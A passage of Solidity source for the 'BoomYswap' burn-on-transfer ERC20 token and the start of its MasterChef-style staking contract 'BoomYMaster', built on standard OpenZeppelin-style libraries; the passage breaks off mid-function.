operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _whitelistedAddresses; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 private _burnRate; string private _name; string private _symbol; uint256 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _burnRate = burnrate; _totalSupply = 0; _mint(msg.sender, initSupply*(10**_decimals)); _burnedSupply = 0; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint256) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of burned tokens. */ function burnedSupply() public view returns (uint256) { return _burnedSupply; } /** * @dev Returns the burnrate. */ function burnRate() public view returns (uint256) { return _burnRate; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `account` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_whitelistedAddresses[sender] == true || _whitelistedAddresses[recipient] == true) { _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { uint256 amount_burn = amount.mul(_burnRate).div(100); uint256 amount_send = amount.sub(amount_burn); require(amount == amount_send + amount_burn, "Burn value invalid"); _burn(sender, amount_burn); amount = amount_send; _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. * * HINT: This function is 'internal' and therefore can only be called from another * function inside this contract! */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); _burnedSupply = _burnedSupply.add(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {burnRate} to a value other than the initial one. */ function _setupBurnrate(uint8 burnrate_) internal virtual { _burnRate = burnrate_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership}. * * This module is used through inheritance. It will make available the modifier * `onlyMinter`, which can be applied to your functions to restrict their use to * the minter. */ contract Mintable is Context { /** * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the chef contract) */ address private _minter; event MintershipTransferred(address indexed previousMinter, address indexed newMinter); /** * @dev Initializes the contract setting the deployer as the initial minter. */ constructor () internal { address msgSender = _msgSender(); _minter = msgSender; emit MintershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current minter. */ function minter() public view returns (address) { return _minter; } /** * @dev Throws if called by any account other than the minter. */ modifier onlyMinter() { require(_minter == _msgSender(), "Mintable: caller is not the minter"); _; } /** * @dev Transfers mintership of the contract to a new account (`newMinter`). * Can only be called by the current minter. */ function transferMintership(address newMinter) public virtual onlyMinter { require(newMinter != address(0), "Mintable: new minter is the zero address"); emit MintershipTransferred(_minter, newMinter); _minter = newMinter; } } /* website: boomswap.org ███ ████▄ ████▄ █▀▄▀█ ▀▄ ▄ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▄ █ █ █ █ █ ▄ █ ▀█ █ ▄▀ ▀████ ▀████ █ █ █ ███ █ ▄▀ ▀ */ // BoomYswap contract BoomYswap is ERC20("BoomYswap", "BoomY", 18, 2, 8642), Ownable, Mintable { /// @notice Creates `_amount` token to `_to`. Must only be called by the minter (BoomYMaster). function mint(address _to, uint256 _amount) public onlyMinter { _mint(_to, _amount); } function setBurnrate(uint8 burnrate_) public onlyOwner { _setupBurnrate(burnrate_); } function addWhitelistedAddress(address _address) public onlyOwner { _whitelistedAddresses[_address] = true; } function removeWhitelistedAddress(address _address) public onlyOwner { _whitelistedAddresses[_address] = false; } } /* website: boomswap.org ███ ████▄ ████▄ █▀▄▀█ ▀▄ ▄ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▄ █ █ █ █ █ ▄ █ ▀█ █ ▄▀ ▀████ ▀████ █ █ █ ███ █ ▄▀ ▀ */ interface IMigrationMaster { // Perform LP token migration for swapping liquidity providers. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // Migrator must have allowance access to old LP tokens. // EXACTLY the same amount of new LP tokens must be minted or // else something bad will happen. This function is meant to be used to swap // to the native liquidity provider in the future! function migrate(IERC20 token) external returns (IERC20); } contract BoomYMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. uint256 pendingRewards; // Pending rewards for user. uint lastHarvest; //Timestamp of last harvest, used for vesting } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BoomYs to distribute per block. uint256 lastRewardBlock; // Last block number that BoomYs distribution occurs. uint256 accBoomYPerShare; // Accumulated BoomYs per share, times 1e12. See below. uint harvestVestingPeriod; // How much vesting for harvesting } // BoomY token BoomYswap public boomY; // BoomY tokens created per block. uint256 public boomYPerBlock; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigrationMaster public migrator; //Has the minting rate halved? bool isMintingHalved; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BoomY mining starts. uint256 public startBlock; // Events event Recovered(address token, uint256 amount); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claim(address indexed user, uint256 indexed pid, uint256 amount); event ClaimAndStake(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( BoomYswap _boomY, uint256 _boomYPerBlock, uint256 _startBlock ) public { boomY = _boomY; boomYPerBlock = _boomYPerBlock; startBlock = _startBlock; isMintingHalved = false; // staking pool poolInfo.push(PoolInfo({ lpToken: _boomY, allocPoint: 1000, lastRewardBlock: startBlock, accBoomYPerShare: 0, harvestVestingPeriod: 0 })); totalAllocPoint = 1000; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint _harvestVestingPeriod ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accBoomYPerShare: 0, harvestVestingPeriod: _harvestVestingPeriod }) ); updateStakingPool(); } // Update the given pool's BoomY allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); uint256 prevAllocPoint = poolInfo[_pid].allocPoint; poolInfo[_pid].allocPoint = _allocPoint; if (prevAllocPoint != _allocPoint) { updateStakingPool(); } } function updateStakingPool() internal { uint256 length = poolInfo.length; uint256 points = 0; for (uint256 pid = 1; pid < length; ++pid) { points = points.add(poolInfo[pid].allocPoint); } if (points != 0) { points = points.div(3); totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points); poolInfo[0].allocPoint = points; } } // Migrate lp token to another lp contract. Can be called by anyone. // We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // View function to see pending BoomYs on frontend. function pendingBoomYs(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBoomYPerShare = pool.accBoomYPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 